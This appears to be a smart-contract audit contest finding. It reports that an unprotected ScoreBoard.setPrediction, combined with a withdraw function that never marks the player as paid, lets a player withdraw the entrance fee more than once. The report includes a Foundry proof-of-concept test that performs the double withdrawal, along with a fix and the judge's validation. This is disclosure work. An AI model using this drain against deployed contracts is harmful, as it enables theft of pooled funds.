Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Multiple Withdrawal Vulnerability in withdraw()

Summary

A user can withdraw entrancefee multiple times by manipulating the ScoreBoard contract directly to make themselves eligible for rewards again. This results in unauthorized multiple withdrawals, potentially depleting the contract's funds.

Vulnerability Details

function test_unauthorizedmultiplewithdrawal() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address stranger5 = makeAddr("stranger5");
vm.deal(stranger, 1 ether);
vm.deal(stranger5, 1 ether);
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
vm.stopPrank();
assertEq(stranger.balance, 1.0397 ether);
vm.startPrank(stranger);
// Assume stranger is able to interact directly with the ScoreBoard contract
scoreBoard.setPrediction(
stranger,
1, // matchNumber
ScoreBoard.Result.Draw // prediction
);
assertEq(scoreBoard.isEligibleForReward(stranger), true);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
// stranger gets additional 0.04ETH of entrancefee and withdraws again
assertEq(stranger.balance, 1.0797 ether);
vm.stopPrank();
}

The setPrediction() in the ScoreBoard contract lacks proper access control, allowing unauthorized users to call it directly. above the test scenero, stranger was able to withraw multiple times after calling setprediction which in turn updates the state of isEligibleForreward() as withdraw function does not affect the status of playersPredictions[player].isPaid[matchNumber] = true;making stranger withdraws multiple 0.04ETH entranceFee
This manipulation allows users to increment their prediction count, making them eligible for rewards multiple times.

Impact

This vulnerability allows users to withdraw their entrance fee multiple times, leading to a potential depletion of the contract's funds and breaking the integrity of the reward distribution system.

Tools Used

Manual review

Recommendations

mark player has paid to false after withdraw

Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Multiple withdrawals are possible

`ThePredicter.withdraw` combined with `ScoreBoard.setPrediction` allows a player to withdraw rewards multiple times leading to a drain of funds in the contract.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.